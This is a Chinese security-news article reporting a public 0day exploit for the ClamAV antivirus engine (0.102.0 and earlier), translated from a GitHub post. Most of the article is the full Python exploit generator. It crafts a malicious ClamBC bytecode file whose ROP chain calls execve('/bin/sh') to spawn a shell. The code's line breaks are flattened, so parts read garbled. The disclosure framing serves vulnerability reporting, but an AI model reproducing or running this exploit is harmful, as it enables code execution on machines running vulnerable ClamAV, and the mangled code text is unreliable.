开源的杀毒软件 ClamAV 被曝 0day,exploit 已公开

 

编译:奇安信代码卫士团队

GitHub用户 momika233 公开了免费开源杀毒软件 ClamAV 当前版本(0.102.0及以下版本)的0day exploit 详情。他发布的全文如下:

2002年,ClamAV作为基于 UNIX系统的解决方案出现,它构建于基于签名的检测方法且目前仍在开发过程中。当时,LibClamAV 仅保留2个二进制文件,目前已扩展至5个。

ClamBC 异常复杂,用作字节码的测试工具,主要验证和解释其中的代码,它提供的信息并未表明和解释其内部机制的存在。

由于源代码可用且缺乏文档,本文应运而生。本文的目的并非提升权限,仅仅是作为一种体验,以及体会挑战带来的乐趣。

由于分析需要花费大量时间,因此对引擎的剖析迫在眉睫,同时分析极大地拓宽了我们对其内部结构的认识。尝试和出错的过程带来了有价值的信息、导致潜在漏洞的崩溃,有效地增加了攻击面,扩大了被攻击的可能性。

Exploit 代码如下:

> ./exploit.py> clambc --debug exploit[SNIP]$'''
names = ['test1',     'read',     'write',     'seek',     'setvirusname',     'debug_print_str',     'debug_print_uint',     'disasm_x86',     'trace_directory',     'trace_scope',     'trace_source',     'trace_op',     'trace_value',     'trace_ptr',     'pe_rawaddr',     'file_find',     'file_byteat',     'malloc',     'test2',     'get_pe_section',     'fill_buffer',     'extract_new',     'read_number',     'hashset_new',     'hashset_add',     'hashset_remove',     'hashset_contains',     'hashset_done',     'hashset_empty',     'buffer_pipe_new',     'buffer_pipe_new_fromfile',     'buffer_pipe_read_avail',     'buffer_pipe_read_get',     'buffer_pipe_read_stopped',     'buffer_pipe_write_avail',     'buffer_pipe_write_get',     'buffer_pipe_write_stopped',     'buffer_pipe_done',     'inflate_init',     'inflate_process',     'inflate_done',     'bytecode_rt_error',     'jsnorm_init',     'jsnorm_process',     'jsnorm_done',     'ilog2',     'ipow',     'iexp',     'isin',     'icos',     'memstr',     'hex2ui',     'atoi',     'debug_print_str_start',     'debug_print_str_nonl',     'entropy_buffer',     'map_new',     'map_addkey',     'map_setvalue',     'map_remove',     'map_find',     'map_getvaluesize',     'map_getvalue',     'map_done',     'file_find_limit',     'engine_functionality_level',     'engine_dconf_level',     'engine_scan_options',     'engine_db_options',     'extract_set_container',     'input_switch',     'get_environment',     'disable_bytecode_if',     'disable_jit_if',     'version_compare',     'check_platform',     'pdf_get_obj_num',     'pdf_get_flags',     'pdf_set_flags',     'pdf_lookupobj',     'pdf_getobjsize',     'pdf_getobj',     'pdf_getobjid',     'pdf_getobjflags',     'pdf_setobjflags',     'pdf_get_offset',     'pdf_get_phase',     'pdf_get_dumpedobjid',     'matchicon',     'running_on_jit',     'get_file_reliability',     'json_is_active',     'json_get_object',     'json_get_type',     'json_get_array_length',     'json_get_array_idx',     'json_get_string_length',     'json_get_string',     'json_get_boolean',     'json_get_int']o     = names.index('buffer_pipe_new') + 1k     = names.index('buffer_pipe_write_get') + 1l     = names.index('debug_print_str') + 1m     = names.index('malloc') + 1
c     = 0for name in names:  names[c] = name.encode('hex')  c += 1
def cc(n):  v = chr(n + 0x60)    return v
def cs(s):  t = ''      for i in xrange(0, len(s), 2):    u  = int(s[i], 16)    l  = int(s[i + 1], 16)    for i in  [u, l]:      if((i >= 0 and i <= 0xf)):        continue      print 'Invalid string.'      exit(0)        t += cc(l) + cc(u)    return t  def wn(n, fixed=0, size=0):  if n is 0:    return cc(0)
  t  = ''  c  = hex(n)[2:]  l  = len(c)  if (l % 2) is 1:    c = "0" + c  r  = c[::-1]    if(l <= 0x10):    if not fixed:      t = cc(l)    i = 0    while i < l:      t += cc(int(r[i], 16))      i += 1  else:    print 'Invalid number.'    exit(0)    if size != 0:    t = t.ljust(size, '`')      return t
def ws(s):  t  = '|'  e = s[-2:]  if(e != '00'):    print '[+] Adding null-byte at the end of the string..'    s += '00'    l  = (len(s) / 2)    if (len(s) % 2) is 1:    print 'Invalid string length.'    exit(0)    t += wn(l)  t += cs(s)    return t  def wt(t):  if t < (num_types + 0x45):    v = wn(t)    return v  else:    print 'Invalid type.'    exit(0)
def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):  global flimit, num_types    if maxfunc is 0:    maxfunc = flimit    if(minfunc > flimit or  maxfunc < flimit):    print 'Invalid minfunc and/or maxfunc.'    exit(0)    header   = "ClamBC"  header  += wn(0x07)             # formatlevel(6, 7)  header  += wn(0x88888888)        # timestamp  header  += ws("416c69656e")      # sigmaker  header  += wn(0x00)                 # targetExclude  header  += wn(0x00)          # kind  header  += wn(minfunc)        # minfunc  header  += wn(maxfunc)        # maxfunc  header  += wn(0x00)          # maxresource  header  += ws("00")          # compiler  header  += wn(num_types + 5)    # num_types  header  += wn(num_func)        # num_func  header  += wn(0x53e5493e9f3d1c30)   # magic1  header  += wn(0x2a, 1)        # magic2  header  += ':'  header  += str(linelength)  header  += chr(0x0a)*2  return header
def prepare_types(contained, type=1, nume=1):  global num_types    types    = "T"  types   += wn(0x45, 1)         # start_tid(69)    for i in range(0, num_types):    types   += wn(type[i], 1)       # kind    if type[i] in [1, 2, 3]:    # Function, PackedStruct, Struct      types += wn(nume[i])       # numElements      for j in range(0, nume[i]):        types += wt(contained[i][j]) # containedTypes[j]    else:    # Array, Pointer      if type[i] != 5:        types += wn(nume[i])     # numElements      types += wt(contained[i][0])   # containedTypes[0]      types   += chr(0x0a)  return types  def prepare_apis(calls=1):  global maxapi, names, ids, tids
  if(calls > max_api):    print 'Invalid number of calls.'    exit(0)    apis     = 'E'  apis    += wn(max_api)         # maxapi  apis    += wn(calls)         # calls(<= maxapi)    for i in range(0, calls):    apis += wn(ids[i])         # id    apis += wn(tids[i])         # tid    apis += ws(names[ids[i] - 1])   # name    apis    += chr(0x0a)  return apis  def prepare_globals(numglobals=1):  global max_globals, type, gval    globals  = 'G'  globals += wn(max_globals)       # maxglobals  globals += wn(numglobals)       # numglobals    for i in range(0, numglobals):    globals += wt(type[i])       # type    for j in gval[i]:         # subcomponents      n        = wn(j)      globals += chr(ord(n[0]) - 0x20)      globals += n[1:]      globals += cc(0)  globals += chr(0x0a)  return globals
def prepare_function_header(numi, numbb, numa=1, numl=0):  global allo    if numa > 0xf:    print 'Invalid number of arguments.'    exit(0)
  fheader  = 'A'  fheader += wn(numa, 1)         # numArgs  fheader += wt(0x20)           # returnType  fheader += 'L'  fheader += wn(numl)           # numLocals    for i in range(0, numa + numl):    fheader += wn(type[i])       # types    fheader += wn(allo[i], 1)     # | 0x8000      fheader += 'F'  fheader += wn(numi)           # numInsts  fheader += wn(numbb)         # numBB  fheader += chr(0x0a)  return fheader  
  flimit      = 93max_api     = 100max_globals = 32773
num_types   = 6

# Header parsingw    = initialize_header(num_func=0x1)# Types parsingcont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]num  = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]w   += prepare_types(cont, type, num)# API parsingids  = [o, k, l, m]tids = [71, 72, 73, 74]w   += prepare_apis(0x4)'''# crash @ id=0'''# Globals parsingtype = [0x45]gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]w   += prepare_globals(0x1)# Function header parsingtype = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]allo = [   1,    0,    0,    0,    0,    0,    0]w  += prepare_function_header(35, 0x1, 0x0, 0x7)# BB parsingp  = 'B'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += '@d'
# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += 'Nobbfifnfobcghfh'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'C`fcd'
# LOAD Var #2 = ([Var #1])p += wn(0x40)p += wn(0x2)p += wn(0x27, 1)p += wn(0x1)
# SUB Var #2 -= 0xd260p += wn(0x40)p += wn(0x2)p += wn(0x2, 1, 2)p += wn(0x2)p += 'D`fbmd'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`ad'
# LOAD Var #3 = ([Var #1])p += wn(0x40)p += wn(0x3)p += wn(0x27, 1)p += wn(0x1)
# SUB Var #3 -= 0x10p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += 'B`ad'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`cd'
# LOAD Var #4 = ([Var #1])p += wn(0x40)p += wn(0x4)p += wn(0x27, 1)p += wn(0x1)
# SUB Var #4 -= 0x190p += wn(0x40)p += wn(0x4)p += wn(0x2, 1, 2)p += wn(0x4)p += 'C`iad'

# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhcd'
# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhdd'
# ADD Var #3 += 0x3p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += 'Acd'
# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhbd'
# ADD Var #5 += Var #2 + 0xcbdap += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += 'Djmkld'
# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`bd'
# STORE (Var #4 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x4)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhad'
# ADD Var #5 += Var #2 + 0x99dcp += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += 'Dlmiid'
# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`ad'
# STORE (0x3b -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += 'Bkcd'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`cd'
# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += '@d'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`dd'
# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += '@d'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Ahd'
# ADD Var #2 += 0x6d68p += wn(0x40)p += wn(0x2)p += wn(0x1, 1, 2)p += wn(0x2)p += 'Dhfmfd'
# STORE (Var #2 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x2)p += wn(0x1)
'''0x99dc : pop rdi ; ret0xcbda : pop rsi ; ret0x6d68 : pop rax ; retVar #2 = text_baseVar #3 = syscall       (+3: pop rdx; ret)Var #4 = "/bin/sh\x00"pop rax; ret; o  0x859            o  0x10pop rdi; ret; o  0x18sh; address   o  0x20pop rsi; ret; o  0x280x0           o  0x30pop rdx; ret; o  0x380x0           o  0x40syscall       o  0x48'''
# COPY Var #6 = (0x5a90050f(o`e``ije))p += wn(0x20)p += wn(0x0)p += wn(0x22, 1)p += 'Ho`e``ijeh'p += wn(0x6)
p += 'T'p += wn(0x13, 1)p += wn(0x20)p += wn(0x6)p += 'E'
w += pf  = open("exploit", "w")f.write(w)f.close()
print '[+] Generated payload'
'''

本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn

(完)